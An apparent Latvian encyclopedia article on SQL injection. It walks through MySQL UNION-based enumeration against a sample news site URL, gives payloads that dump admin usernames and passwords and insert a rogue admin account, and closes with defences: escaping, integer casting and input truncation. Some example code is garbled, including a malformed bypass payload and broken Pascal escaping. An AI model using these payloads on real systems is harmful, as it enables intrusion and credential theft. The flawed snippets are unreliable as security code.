SQL injekcija

SQL injekcijas piemērs

Autorizācijas forma, kurā jāievada lietotājvārds un parole. Formas nosūtīšanas rezultātā tiek izpildīts šāds SQL pieprasījums:
SELECT * FROM lietotaji WHERE lietotajvards='LIETOTAJVARDS' AND parole='PAROLE';
Uzbrucējam nepieciešams piekļūt attiecīgās lietotnes administratora ierakstam. Lai to izdarītu SQL vaicājumu nepieciešams modificēt
šādā veidā:
SELECT * FROM lietotaji WHERE lietotajvards='admin' OR lietotajvards=kautkas AND parole='%%'
Ievadot autorizācijas formā lietotājvārda vietā "'admin' OR lietotajvards=kaut kas'" būs iespējams autorizēties kā lietotājam
"admin" nezinot paroli. Dotais SQL piemērs pirmajā gadījumā atlasīs ierakstu lietotāju tabulā kā meklēšanas kritērijus izmantojot lietotāja vārdu UN paroli. Otrajā gadījumā kā meklēšanas kritērijs tiks izmantots lietotāja vārds UN parole VAI tikai lietotāja vārds.
Modificējot datubāzes vaicājumu un pievienojot tam galā loģisko nosacījumu, kas vienmēr izpildās, uzbrucējs lielākajā daļā gadījumu būs spējīgs nolasīt visus dotās datubāzes tabulas ierakstus, vai arī no kļūdas paziņojumiem izdarīt kādus tālākus secinājumus.

Praktiskā realizācija

Šeit dots ieskats SQL injekcijas praktiskai realizācijai, piemērā izmantojot MySQL DBVS.

Injekcijas iespējas meklēšana

Praktisks piemērs, kur tiek izmantota MySQL DB kļūdaina izmantošana.
Pārbaudīt tīmekļa lapu uz SQL injekcijas iespējamību var veikt ievadot pārlūkprogrammas adreses rindā modificētu pieprasījumu (piemēram: http://www.al_quaeda.org/news/iraq/newsarticle.php?id=666'), kas izraisa datubāzes kļūdu. To var fiksēt, ja logā parādās šāds vai līdzīgs uzraksts: "You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near..." Tas liecina, ka netiek filtrēti nekorekti simboli, šajā gadījumā - apostrofs.

Pieprasījuma normalizēšana

Nākamais uzbrucēja uzdevums ir noskaidrot SQL tabulas kolonnu skaitu. To veic vispirms ievadot pieprasījumu ar acīmredzami lielāku ierakstu skaitu kā reāli tiek izmantots, piemēram 99999- http://www.al_quaeda.org/news/iraq/newsarticle.php?id=99999%20order%20by%2015. Izvadīts tiek apmēram šads paziņojums-Unknown column '15' in 'order clause'. Samazinot pēdējo skaitli, meklējam patieso kolonnu skaitu, ko var noteikt, ja neparādās kļūdas paziņojums: http://www.al_quaeda.org/news/iraq/newsarticle.php?id=99999%20order%20by%207- kļūdas nav http://www.al_quaeda.org/news/iraq/newsarticle.php?id=99999%20order%20by%2012- kļūda ir. Tā mainot pēdējo parametru, noskaidrojam, ka kļūdas paziņojums pazūd pie pieprasījuma "order by 10", kas arī ir meklētais skaitlis. Tālāk ievadām pieprasījumu http://www.al_quaeda.org/news/iraq/newsarticle.php?id=99999%20union%20select%201,2,3,4,5,6,7,8,9,10. Pārlūkprogramma izvada attēlu, kurā redzami daži no ciparu rindas simboliem- piem. 4, 5, 10.

Sensitīvas informācijas iegūšana

Modificējam pieprasījumu: http://www.al_quaeda.org/news/iraq/newsarticle.php?id=99999%20union%20select%201,2,3,version(),5,6,7,8,9,10. Ja datu tipi izvades laukā pieļauj teksta informācijas izvadi, tad tiek izvadīta datubāzes MySQL versija. Ja četrnieku logā nomaina uzraksts, kas ir līdzīgs šim - 5.0.45-log, tad top zināma izmantotā MySQL versija. Šeit būtiskākais ir pirmais cipars- 3.xx versijās ir ļoti grūti darboties praktiski (aplūkotā metode vispār nebūs iespējama), 4.xx arī nākas paļauties uz intuīciju, kamēr 5.xx piedāvā ērtus instrumentus ne tikai MySQL lietotājam, bet arī hakerim. Tā aplūkotajā gadījumā, izmantojot piektās MySQL versijas sistēmas tabulu, var noskaidrot visu DB tabulu nosaukumus. Modificējot pieprasījumu uz ..%20union%20select%201,2,3,table_name,5,6,7,8,9,10 %20from%20information_schema.tables, iegūst pirmās tabulas nosaukumu. Tālāk, izmantojot komandu limit x.x, ko pievieno pieprasījuma beigās, var noskaidrot visu DB tabulu nosaukumus. Vēl viena sistēmas tabula - INFORMATION_SCHEMA.COLUMNS, ļauj līdzīgā veidā noskaidrot kolonnu nosaukumus. Kad tas ir izdarīts, tad iegūt attiecīgās mājaslapas lietotājvārdus un attiecīgo paroļu hešus ir tikai tehnisks jautājums.

SQL injekcijas uzbrukuma princips

Pieņemsim, ka servera programmatūra, kura saņem ievades parametru id, izmanto to, lai izveidotu SQL vaicājumu. Apskatīsim šādu PHP skriptu:
SELECT * FROM news WHERE id_news = 5
Taču, ja uzbrucējs kā parametru id nodos virkni -1 or 1 = 1, tad tiks palaists vaicājums:
SELECT * FROM news WHERE id_news = -1 OR 1=1
Tādējādi, mainot ieejas parametrus pievienojot tiem SQL valodas konstrukcijas, izraisa izmaiņas SQL vaicājuma īstenošanas loģikā.

Injekcija virknes parametros

Pieņemsim, ka servera programmatūra saņem pieprasījumu veikt izmaiņu meklēšanu ar parametru search_text, izmantojot to nākamajā SQL vaicājumā (šeit parametri tiek ekranēti ar pēdiņām):
…
$search_text = $_REQUEST['search_text'];
$res = mysql_query("SELECT id_news, news_date, news_caption,  news_text, news_id_author
                     FROM news WHERE news_caption  LIKE('%$search_text%')");
Veicot search_text pieprasījumu mēs iegūstam šādu SQL vaicājumu:
SELECT id_news, news_date, news_caption, news_text, news_id_author  FROM news 
 WHERE news_caption LIKE('%Test%')
Bet injicējot search_text parametrā pēdiņas (kuras izmanto vaicājumā), mēs varam būtiski mainīt SQL vaicājumu. Piemēram, kā search_text parametru nodot vērtību ')+and+(news_id_author='1, tiks izpildīts šāds vaicājums:
SELECT id_news, news_date, news_caption, news_text, news_id_author  FROM news 
 WHERE news_caption LIKE('%') AND (news_id_author='1%')

UNION izmantošana

SQL valoda ļauj apvienot vairāku vaicājumu rezultātus ar operatora UNION palīdzību. Tas dod uzbrucējiem iespēju iegūt nesankcionētu piekļuvi datiem.
Apskatīsim jaunumu apskates skriptu (jaunuma ID, kuru nepieciešams attēlot, tiek nodots ar id parametru):
$res = mysql_query("SELECT id_news, header, body, author FROM news WHERE id_news = " . $_REQUEST['id']);
Ja uzbrucējs kā id parametru nodos šādu virkni -1 UNION SELECT 1,username, password,1 FROM admin, tad tiks izpildīts šāds SQL vaicājums:
SELECT id_news, header, body, author FROM news WHERE id_news = -1  UNION SELECT 1,username,password,1 FROM admin
Tā kā ar id -1 neviens jaunums nepastāv, netiks izvēlēts neviens jaunums, bet rezultātā būs iekļauti dati, kas būs nesankcionēti atlasīti no tabulas admin.

UNION + group_concat() izmantošana

Dažos gadījumos, uzbrucējs var veikt uzbrukumu, bet nevar redzēt vairāk kā vienu kolonnu. MySQL gadījumā iebrucējs var izmantot funkciju:
group_concat(col, symbol, col)
kas apvieno vairākas kolonnas vienā. Piemēram, iepriekš minētajai funkcijai pieprasījums būs šāds:
-1 UNION SELECT group_concat(username, 0x3a, password) FROM admin

Pieprasījuma astes ekranēšana

Bieži vien, SQL vaicājums, kas pakļauts šādai ievainojamībai, satur struktūru, kura apgrūtina vai neļauj izmantot union. piemēram, skripts
$res = mysql_query("SELECT author FROM news WHERE id=" .  $_REQUEST['id'] ." AND author LIKE ('a%')");
atspoguļo izmaiņas autora vārdu, pēc id nosūtīšanas tikai ar nosacījumu, ka nosaukums sākas ar burtu a un injekcija kodā izmantojot union operatoru ir apgrūtināta.
Šādos gadījumos uzbrucējs izmanto vaicājuma daļas ekranēšanas metodi ar komentāru simbola palīdzību (/ * vai -- atkarīgs no DBVS veida).
Šajā piemērā, uzbrucējs var nodot skriptam parametru id, kura vērtība ir -1 UNION SELECT password FROM admin/*, tādā veidā izpildot vaicājumu
SELECT author FROM news WHERE id=-1 UNION SELECT password FROM admin/* AND author LIKE ('a%')
kurā vaicājuma daļa ( AND author LIKE ('a%')) ir apzīmēt kā komentārs un neietekmē izpildi.

SQL vaicājuma sadalīšana

Lai atdalītu komandas SQL vaicājumā tiek izmantots simbols ; (semikols), injicējot šo simbolu vaicājumā, uzbrucējs iegūst iespēju izpildīt vairākas komandas, vienā vaicājumā, taču ne visi SQL dialekti atbalsta šādu iespēju. MySQL, piemēram, neatbalsta.
Piemēram, ja skripta
$id = $_REQUEST['id'];
$res = mysql_query("SELECT * FROM news WHERE id_news = $id");
parametros tiek ievietots, piemēram, 12;INSERT INTO admin (username, password) VALUES ('HaCkEr', 'foo'); tad vienā vaicājumā tiks izpildītas 2 komandas
SELECT * FROM news WHERE id_news = 12;
INSERT INTO admin (username, password) VALUES ('HaCkEr', 'foo');
Un admin tabulā būs nesankcionēti pievienots ieraksts HaCkEr.

Aizsardzība no SQL koda injekciju uzbrukumiem

Lai aizsargātos pret šāda veida uzbrukumiem ir rūpīgi jāfiltrē ievades parametrus, kuru vērtības tiks izmantotas, lai izveidotu SQL-vaicājumu.

Virknes parametru filtrēšana

Pieņemsim, ka kods, kas ģenerē pieprasījumu (Pascal programmēšanas valodā), ir šāds:
statement := 'SELECT * FROM users WHERE name = "' + userName + '";';
Lai injekcija kodā nebūtu iespējama, dažām DBVS ieskaitot MySQL, nepieciešams visus parametrus ievietot pēdiņās. Pašā parametrā aizstāj pēdiņas ar \ " , apostrofu ar \" , reverso slīpsvītru ar \ \ (to sauc par "speciālo rakstzīmju ekranēšanu"). To iespējas izdarīt ar šādu kodu:
statement := 'SELECT * FROM users WHERE name = ' + QuoteParam(userName) + ';';
function QuoteParam(s : string) : string;
{ ieejā – virkne; izejā – virkne pēdiņās un ar nomainītiem speciālajiem simboliem }
var
 i : integer;
 Dest : string;
begin
 Dest := '"';
 for i:=1 to length(s) do
   case s[i] of
     ' : Dest := Dest + '\;
     '"' : Dest := Dest + '\"';
     '\' : Dest := Dest + '\\';
   else Dest := Dest + s[i];
   end; 
 QuoteParam := Dest + '"';
end;
PHP filtrācijai var būt šāds:
<?
$query = "SELECT * FROM users WHERE user='".mysql_real_escape_string($user)."';";
?>

Skaitlisko parametru filtrācija

Paņemsim citu vaicājumu:
statement := 'SELECT * FROM users WHERE id = ' + id + ';';
Šajā gadījumā id lauks ir skaitlisks tips, un tas nevar tikt ievietots pēdiņās. Tādēļ speciālo rakstzīmju aizstāšana nav atļauta. Šajā gadījumā palīdz tipa pārbaude, ja mainīgais id nav skaitlis, vaicājums nedrīkst tikt izpildīts.
Piemēram, Delphi, lai novērstu šādas injekcijas palīdzēs kods:
id_int := StrToInt(id);
statement := 'SELECT * FROM users WHERE id = ' + IntToStr(id_int) + ';';
Kļūdas gadījumā funkcija StrToInt izsauks EConvertError, un tā apstrādātājā varēs izvadīt kļūdas ziņojumu. Dubultā pārveidošana nodrošina pareizu atbildi uz skaitli $ 132AB (heksadecimālā formātā).
Priekš PHP, šī metode izskatīsies šādi:
$query = 'SELECT * FROM users WHERE id = ' . (int) $id;

Ieejas parametru saīsināšana

Lai veiktu izmaiņas, SQL vaicājumu izpildes loģikā nepieciešama garu virkņu injicēšana. Tādējādi minimālais injicējamo virkņu garums 8 rakstzīmes ("1 OR 1 = 1"). Ja maksimālais garums, pareizai vērtībai, ir neliels, tad viena no aizsardzības metodēm var būt maksimāla ievades vērtību saīsināšana.
Piemēram, ja jūs zināt, ka id lauks iepriekš minētajiem piemēriem var ieņemt vērtību, kas nav lielāka par 9999, var tikt "nogrieztas" liekās zīmes, atstājot ne vairāk kā četras:
statement := 'SELECT * FROM users WHERE id = ' + LeftStr(id, 4) + ';';